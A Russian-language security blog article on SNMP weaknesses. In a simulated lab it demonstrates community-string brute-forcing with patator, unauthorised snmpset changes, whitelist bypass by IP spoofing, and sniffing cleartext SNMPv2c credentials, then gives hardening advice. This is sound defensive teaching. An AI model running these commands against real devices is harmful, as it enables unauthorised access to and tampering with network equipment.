Проблемы безопасности SNMP: имитация атак и меры профилактики

Проблемы безопасности SNMP на практике: имитация атак и меры профилактики

Тирекс
Тирекс Самый зубастый автор
7 марта 2023

В рамках статьи попробуем погрузиться в практические аспекты безопасности передаваемых по SNMP данных. И понять, какие угрозы может нести небезопасная настройка, и как это исправить.

Изображение записи

Уже больше 30 лет для мониторинга оборудования и сервисов используют протокол SNMP. За это время он прошел закономерную эволюцию, получив несколько версий протокола с особенностями безопасной передачи данных.

В рамках статьи попробуем погрузиться в практические аспекты безопасности передаваемых по SNMP данных. И понять, какие угрозы может нести небезопасная настройка, и как это исправить.

Знакомство с SNMP

SNMP — это стандартизированный протокол управления устройствами, которые находятся в IP-сетях — маршрутизаторами, коммутаторами, серверами, источниками бесперебойного питания и другим. С помощью SNMP можно отслеживать текущее состояние оборудования, управлять сетевыми устройствами, описывая различные сценарии. Описание принципов работы протокола читайте по ссылке

Что нужно учитывать во время обзора проблем безопасности

Менеджер-агентная архитектура протокола. В SNMP есть два участника взаимодействия:

  1. Менеджер, Network Management Station (NMS) — занимается отправкой запросов агентам, получением «ловушек» (trap) от агентов, анализирует полученную информацию и может реагировать на полученные значения, например, отправляя команды по изменению параметров сетевых устройств.
  1. Агент — отвечает на запросы менеджера, отправляя необходимые сведения об устройстве, направляет менеджеру «ловушки» в соответствии с заданным расписанием.

Стоит отметить, что отправка «ловушек» агентом и направление менеджером запроса к нему могут происходить одновременно, потому что они не зависят друг от друга. Обычно взаимодействие реализуется так, что менеджер опрашивает агенты по определенному состоянию, а на агентах настроена отправка «ловушек» менеджеру в случае критических событий. То есть агент может уведомить менеджера о критическом событии до того, как на менеджере наступит время отправки запроса.

SNMP-протокол использует UDP в качестве транспортного протокола. Это позволяет не нагружать сеть TCP-соединениями. Стоит упомянуть, что при обращении мастера к клиенту происходит ожидание ответа и повторный запрос, если его время превышено. В случае же отправки «ловушки» клиентом и потери пакетов по пути, сам клиент не узнает она не дошла, а мастер не узнает, что что-то должно было прийти. 

В различных версиях SNMP используются различные подходы к безопасности. Так в SNMPv1 и SNMPv2 используется аутентификация по community string — в SNMPv3 есть три уровня безопасности:

  • noAuthNoPriv — без аутентификации и шифрования, при использовании этого режима все равно требуется securityName,
  • authNoPriv — с аутентификацией, но без шифрования,
  • authPriv — с аутентификацией и шифрованием. 

В настоящее время SNMPv3 поддерживает алгоритмы MD5 и SHA для вычисления хэшей при аутентификации и алгоритмы DES и AES для шифрования полезной нагрузки.

SNMP подвержен брутфорсу учетных данных. По умолчанию в SNMP не предусмотрено ограничение по запросам от мастера к клиенту. Это значит, что community string (SNMPv1, SNMPv2), логин, пароль и ключ шифрования (SNMPv3) можно подобрать.

Какие данные можно получить по SNMP

В рамках SNMP можно получить самую разнообразную информацию — о состоянии подсистем устройств, системных пользователях, об установленном ПО и открытых портах и другом. 

Например, на сайтах производителей или систем мониторинга можно найти списки с описанием устройств, доступных к запросу и передаче данных по SNMP.

Какие изменения можно произвести на оборудовании с помощью SNMP

В зависимости от конкретного решения можно изменять параметры устройств (например, IP-адреса на сетевых интерфейсах), сбрасывать пароли пользователей до дефолтных значений, перезагружать и выключать устройства. 

Эксплуатация уязвимостей

Сам по себе агент SNMP — это такая же служба (приложение), которая может содержать уязвимости. На сайте Mitre можно увидеть количество зарегистрированных и подтвержденных уязвимостей для протоколов SNMP разных версий. Тот же CVE-2022-20924 позволяет перезагружать устройства, а уязвимость CVE-2022-45315 — исполнять произвольный код на устройствах MikroTik c прошивками определенных версий.

Проблема эксплуатации уязвимостей решается своевременными обновлениями прошивок и ограничением доступа к SNMP-агенту.

Примеры реализации проблем безопасности

Соберем следующий стенд для демонстрации проблема безопасности:

SNMP-агенты устройств —  Router, Server, UPS — будем эмулировать с помощью решения Verax SNMP Simulator.

Как видим, на схеме есть несколько различных устройств в одной локальной сети:

  • SNMP-agent — эмулированные устройства,
  • NMS — легитимный SNMP-сервер, выполняющий роль менеджера (в реальной схеме может быть тот же Zabbix-сервер),
  • attacker — хост, с которого будут проводиться тестовые попытки доступа к данным протокола SNMP.

Подбор community string

Как было сказано ранее, по умолчанию SNMP-агент не ограничивает количество обращений и позволяет перебирать community string в версиях SNMPv1-v2 и логин-пароль в SNMPv3. Проверим это на практике. 

Будем использовать patator с модулем snmp_login для подбора community string для SNMPv2, заранее подготовив файл community со словарем для перебора:

root@attc:~# patator snmp_login host=192.168.100.20 version=2 community=FILE0 0=community

#host – IP-адрес цели, version — версия протокола SNMP; community — ссылка на файл со словарем, 0 — сам файл со словарем.

В результате получим вывод:

16:07:48 patator INFO - code size time | candidate | num | mesg
…
16:08:30 patator INFO - 0-0 40 3.931 | yellow | 116 | No SNMP response received before timeout
16:08:30 patatorINFO - 0-0 576 0.520 | public | 117 | [ObjectType(ObjectIdentity(<ObjectName value object at 0x7fc019d3e190 tagSet <TagSet object at 0x7fc01b5fedf0 tags 0:0:6> payload [1.3.6.1.2.1.1.1.0]>), <DisplayString value object at 0x7fc01994a670 tagSet <TagSet object at 0x7fc01b5fe7f0 tags 0:0:4> subtypeSpec <ConstraintsIntersection object at 0x7fc019708370 consts <ValueSizeConstraint object at 0x7fc01b69bf40 consts 0, 65535>, <ValueSizeConstraint object at 0x7fc019708670 consts 0, 255>, <ValueSizeConstraint object at 0x7fc019708250 consts 0, 255>> encoding iso-8859-1 payload [Linux nmsworker-... EDT 2009 x86_64]>)]
16:08:30 patator INFO - 0-0 450 0.509 | private | 118 | [ObjectType(ObjectIdentity(<ObjectName value object at 0x7fc019cf8520 tagSet <TagSet object at 0x7fc01b5fedf0 tags 0:0:6> payload [1.3.6.1.2.1.1.1.0]>), <NoSuchObject value object at 0x7fc019cf8670 tagSet <TagSet object at 0x7fc01b5c43a0 tags 128:0:0> subtypeSpec <ConstraintsIntersection object at 0x7fc01b5fecd0 consts <SingleValueConstraint object at 0x7fc01b5febe0 consts b''>> encoding iso-8859-1 payload [No Such Object c...ists at this OID]>)]
16:08:32 patator INFO - 0-0 40 3.111 | write | 114 | No SNMP response received before timeout
16:08:33 patator INFO - 0-0 40 3.514 | world | 113 | No SNMP response received before timeout
16:08:33 patator INFO - 0-0 40 3.502 | xyzzy | 115 | No SNMP response received before timeout
16:08:34 patator INFO - Hits/Done/Skip/Fail/Size: 118/118/0/0/118, Avg: 2 r/s, Time: 0h 0m 45s

Обратите внимание: за 45 секунд patator перебрал 118 слов, с каждым из них в качестве community string обратился к цели и для двух получил значения с public и private. Зная их, мы можем взаимодействовать с SNMP-агентом, получая и отправляя данные. Для SNMPv1 и SNMPv2 знания community string достаточно для аутентификации на агенте. 

Обход white-list с помощью IP-spoofing

Некоторые SNMP-агенты позволяют задавать access-list и указывать IP, с которых есть доступ к агенту — на запросы с таких адресов он будет отвечать. Это опасно, потому что SNMP работает по UDP и можно использовать spoofing — подмену адреса отправителя. Рассмотрим две ситуации. 

Первая ситуация. На агенте SNMP задана дефолтная community string и разрешено менять некоторые параметры через команду SET. С хоста 192.168.100.10 с помощью утилиты snmpwalk поменяем значение одного из интерфейсов UPS на агенте.

user@snmp:~# snmpwalk -v2c -c public 192.168.100.20 iso.3.6.1.2.1.4.21.1.7.0.0.0.0
iso.3.6.1.2.1.4.21.1.7.0.0.0.0 = IpAddress: 192.168.104.1

# Исходное значение.

Меняем значение параметра:

user@snmp:~# snmpset -v2c -c private 192.168.100.20 iso.3.6.1.2.1.4.21.1.7.0.0.0.0 a 192.168.104.2 
iso.3.6.1.2.1.4.21.1.7.0.0.0.0 = IpAddress: 192.168.104.2

Запросим текущее значение:

usert@snmp:~# snmpwalk -v2c -c public 192.168.100.20 iso.3.6.1.2.1.4.21.1.7.0.0.0.0
iso.3.6.1.2.1.4.21.1.7.0.0.0.0 = IpAddress: 192.168.104.2

Как видно, значение успешно изменено. Переходим ко второму сценарию.

Вторая ситуация. На агенте SNMP задана дефолтная community string, разрешено менять некоторые параметры через команду SET, но теперь на стороне агента включен ACL, а в white list добавлен адрес NMS 192.168.100.10.

Для выполнения действий из прошлого сценарию необходимо узнать адрес NMS и подставить его в пакетах при обращении с 192.168.100.5. Способов (в случае локальной сети) может быть несколько — от скана портов, перехвата и анализа трафика до социальной инженерии. В случае с публичными IP-адресами дело обстоит иначе: сканирование не даст результата, если заранее неизвестен диапазон белых адресов и NMS не опубликован на белом IP.

Рассмотрим ситуацию, когда нам известен адрес NMS. 

user@snmp:~# snmpwalk -v2c -c public 192.168.100.20 iso.3.6.1.2.1.4.21.1.7.0.0.0.0
iso.3.6.1.2.1.4.21.1.7.0.0.0.0 = IpAddress: 192.168.104.1

# С хоста NMS: 192.168.100.10
root@attc:~# snmpwalk -v2c -c public 192.168.100.20 iso.3.6.1.2.1.4.21.1.7.0.0.0.0
Timeout: No Response from 192.168.100.20

# С хоста NMS: 192.168.100.5

Зная NMS-адрес в локальной сети, можно указать его на интерфейсе или сформировать UDP-datagram и отправить с помощью инструментов для IP-spoofing, указав в src-ip адрес NMS.

root@attc:~# snmpset -v2c -c private 192.168.100.20 iso.3.6.1.2.1.4.21.1.7.0.0.0.0 a 192.168.104.5
iso.3.6.1.2.1.4.21.1.7.0.0.0.0 = IpAddress: 192.168.104.5

Запросим текущее значение с NMS:

user@snmp:~# snmpwalk -v2c -c public 192.168.100.20 iso.3.6.1.2.1.4.21.1.7.0.0.0.0
iso.3.6.1.2.1.4.21.1.7.0.0.0.0 = IpAddress: 192.168.104.5

Как видно, значение успешно изменено. Таким образом, достаточно знать SNMP-community, чтобы аутентифицироваться на агенте и изменить значение.

Незащищенные каналы (MITM)

В случае, если SNMP-агент и NMS находятся не в одной сети, трафик проходит маршрутизаторы, FW, прокси (при наличии) и другие узлы. На каждом из устройств может быть включено логирование трафика. По аналогии с передачей паролей по HTTP в SNMPv1 и SNMPv2, значение community string может быть перехвачено. Рассмотрим схему, где есть NMS, router и SNMP-агент:

NMS опрашивает агента по SNMPv2c и отправляет значение community string  «SecretCommunityString»:

user@snmp:~# snmpwalk -v2c -c SecretCommunityString 192.168.100.20

На роутере включено логирование всех пакетов. В итоге видим следующий результат перехвата трафика:

root@attc:~# tcpdump -pni  enp0s6 -vv -X
tcpdump: listening on enp0s6, link-type EN10MB (Ethernet), capture size 262144 bytes
12:18:06.427236 IP (tos 0x0, ttl 63, id 4300, offset 0, flags [DF], proto UDP (17), length 83)
192.168.200.10.34125 > 192.168.100.20.161: [udp sum ok]  { SNMPv2c C="SecretCommunityString" { GetNextRequest(25) R=216409089  .1.3.6.1.2.1 } } 
0x0000:  4500 0053 10cc 4000 3f11 7d5e c0a8 c80a  E..S..@.?.}^....
0x0010:  c0a8 6414 854d 00a1 003f d93e 3035 0201  ..d..M...?.>05..
0x0020:  0104 1553 6563 7265 7443 6f6d 6d75 6e69  ...SecretCommuni
0x0030:  7479 5374 7269 6e67 a119 0204 0ce6 2401  tyString......$.
0x0040:  0201 0002 0100 300b 3009 0605 2b06 0102  ......0.0...+...
0x0050:  0105 00                                  		      ...
12:18:07.427592 IP (tos 0x0, ttl 63, id 4542, offset 0, flags [DF], proto UDP (17), length 83)

Как видим, community string передалось открытом виде. Зная его значение,  IP-адреса NMS и SNMP-агента, с последним можно взаимодействовать.

В случае с SNMPv3 ситуация другая. Отправим запрос агенту по протоколу SNMPv3:

user@snmp:~# snmpwalk -v3  -l authPriv -u snmp -a SHA -A "Password1" -x AES -X "Password2" 192.168.100.20

Видно, что в перехваченных дампах нет аутетификатора и пароля шифрования в открытом виде, потому что передается хэш. А приватные ключи прописываются непосредственно на NMS и SNMP-агенте до начала передачи информации. Единственное, что передается в открытом виде — это логин пользователя:

192.168.200.10.44328 > 192.168.100.20.161: [udp sum ok]  { SNMPv3 { F=r } { USM B=0 T=0 U="" } { ScopedPDU E= C="" { GetRequest(14) R=1173627123  } } } 
0x0000:  4500 005b 3426 4000 3f11 59fc c0a8 c80a  E..[4&@.?.Y.....
	0x0010:  c0a8 6414 ad28 00a1 0047 88c0 303d 0201  ..d..(...G..0=..
	0x0020:  0330 1002 045e 43cb 9302 0205 c004 0104  .0...^C.........
	0x0030:  0201 0304 1030 0e04 0002 0100 0201 0004  .....0..........
	0x0040:  0004 0004 0030 1404 0004 00a0 0e02 0445  .....0.........E
	0x0050:  f420 f302 0100 0201 0030 00              .........0.
13:18:12.325339 IP (tos 0x0, ttl 128, id 11282, offset 0, flags [none], proto UDP (17), length 123)
192.168.100.20.161 > 192.168.200.10.44328: [udp sum ok]  { SNMPv3 { F= } { USM B=0 T=0 U="" } { ScopedPDU E=_80_00_13_70_01_c0_a8_64_14 C="" { Report(28) R=0  .1.3.6.1.6.3.15.1.1.4.0=9 } } } 
	0x0000:  4500 007b 2c12 0000 8011 60f0 c0a8 6414  E..{,.....`...d.
	0x0010:  c0a8 c80a 00a1 ad28 0067 36d0 305d 0201  .......(.g6.0]..
	0x0020:  0330 1002 045e 43cb 9302 0205 dc04 0100  .0...^C.........
	0x0030:  0201 0304 1930 1704 0980 0013 7001 c0a8  .....0......p...
	0x0040:  6414 0201 0002 0100 0400 0400 0400 302b  d.............0+
	0x0050:  0409 8000 1370 01c0 a864 1404 00a8 1c02  .....p...d......
	0x0060:  0100 0201 0002 0100 3011 300f 060a 2b06  ........0.0...+.
	0x0070:  0106 030f 0101 0400 4101 09              ........A..
13:18:12.325605 IP (tos 0x0, ttl 63, id 13351, offset 0, flags [DF], proto UDP (17), length 146)
192.168.200.10.44328 > 192.168.100.20.161: [udp sum ok]  { SNMPv3 { F=apr } { USM B=0 T=0 U="snmp" } { ScopedPDU [!scoped PDU]7e_09_5f_c2_51_6c_f0_89_b1_99_42_81_0c_63_9c_6d_97_ed_1e_df_89_f0_a1_7f_34_1a_e6_da_de_ac_62_02_ef_90_a9_4f_a5_d6_b1_78_de_3b} } 
	0x0000:  4500 0092 3427 4000 3f11 59c4 c0a8 c80a  E...4'@.?.Y.....
	0x0010:  c0a8 6414 ad28 00a1 007e dc2c 3074 0201  ..d..(...~.,0t..
	0x0020:  0330 1002 045e 43cb 9202 0205 c004 0107  .0...^C.........
	0x0030:  0201 0304 3130 2f04 0980 0013 7001 c0a8  ....10/.....p...
	0x0040:  6414 0201 0002 0100 0404 736e 6d70 040c  d.........snmp..
	0x0050:  4980 30f2 7794 2a38 c306 adfb 0408 6670  I.0.w.*8......fp
	0x0060:  60c8 63ad 6bd6 042a 7e09 5fc2 516c f089  `.c.k..*~._.Ql..
	0x0070:  b199 4281 0c63 9c6d 97ed 1edf 89f0 a17f  ..B..c.m........
	0x0080:  341a e6da deac 6202 ef90 a94f a5d6 b178  4.....b....O...x
	0x0090:  de3b                                     .;
13:18:12.326013 IP (tos 0x0, ttl 128, id 11283, offset 0, flags [none], proto UDP (17), length 127)
192.168.100.20.161 > 192.168.200.10.44328: [udp sum ok]  { SNMPv3 { F= } { USM B=0 T=0 U="snmp" } { ScopedPDU E=_80_00_13_70_01_c0_a8_64_14 C="" { Report(28) R=0  .1.3.6.1.6.3.15.1.1.3.0=9 } } } 
	0x0000:  4500 007f 2c13 0000 8011 60eb c0a8 6414  E...,.....`...d.
	0x0010:  c0a8 c80a 00a1 ad28 006b 4fe1 3061 0201  .......(.kO.0a..
	0x0020:  0330 1002 045e 43cb 9202 0205 dc04 0100  .0...^C.........
	0x0030:  0201 0304 1d30 1b04 0980 0013 7001 c0a8  .....0......p...
	0x0040:  6414 0201 0002 0100 0404 736e 6d70 0400  d.........snmp..
	0x0050:  0400 302b 0409 8000 1370 01c0 a864 1404  ..0+.....p...d..
	0x0060:  00a8 1c02 0100 0201 0002 0100 3011 300f  ............0.0.
	0x0070:  060a 2b06 0106 030f 0101 0300 4101 09    ..+.........A..

В заголовках SNMPv3 видим, что пользователь SNMP в открытом виде. Он будет использован на стороне агента фактически для авторизации. Зная только имя пользователя, мы не сможем аутентифицироваться на SNMP-агенте, соответственно, не сможем получить доступ к SNMP-агенту и придется брутить пароль.

Как повысить безопасность

Давайте разберемся, как не допустить рассмотренных ситуаций и обезопасить свои устройства. Я постарался выделить основные рекомендации.

Сегментируйте сети

Необходимо планировать сети так, чтобы сервисные и технологические хосты — в том числе SNMP-агенты — были вынесены в отдельные сети. Так, чтобы к ним не было доступа из гостевых и пользовательских WiFi, сетей с данными и другого.

Используйте последнюю версию протокола — SNMPv3

Если оборудование и NMS поддерживают SNMPv3, то стоит отдать предпочтение последней версии.

Меняйте дефолтные значения community

Относитесь к community string как к паролю — беспокойтесь о её сложности, если используете SNMPv1, SNMPv2 и длинные наборы символов в качестве паролей и ключей шифрования для SNMPv3.

Следите за доступом к портам SNMP

В рамках межсетевого взаимодействия со спуфингом подойдут роутер или firewall. Используйте межсетевые экраны, разрешайте SNMP только в локальных сетях или в VPN-туннелях. При публикации SNMP-агента в интернет, настраивайте фильтрацию по source IP-адресу, меняйте стандартные порты, включайте SNMPv3. А также устанавливайте сложные community string, если используете SNMPv2.

Ограничьте список включенных OIDs

При включении SNMP-агентов определите список параметров (OID), которые отдает агент. По возможности отключите все остальные OIDs.

Отключите режим записи для SNMP-агентов

Если нет необходимости изменять настройки устройств при помощи SNMP, отключите режим записи и оставьте SNMP-агента в режиме read only.

Обновляйте версии прошивок при появлении уязвимости

Необходимо четко понимать, оборудование каких вендоров используется в вашей инфраструктуре, и отслеживать информацию об уязвимостях в прошивках устройств. Делать это можно как на ресурсах вендоров, так и в базах данных уязвимостей.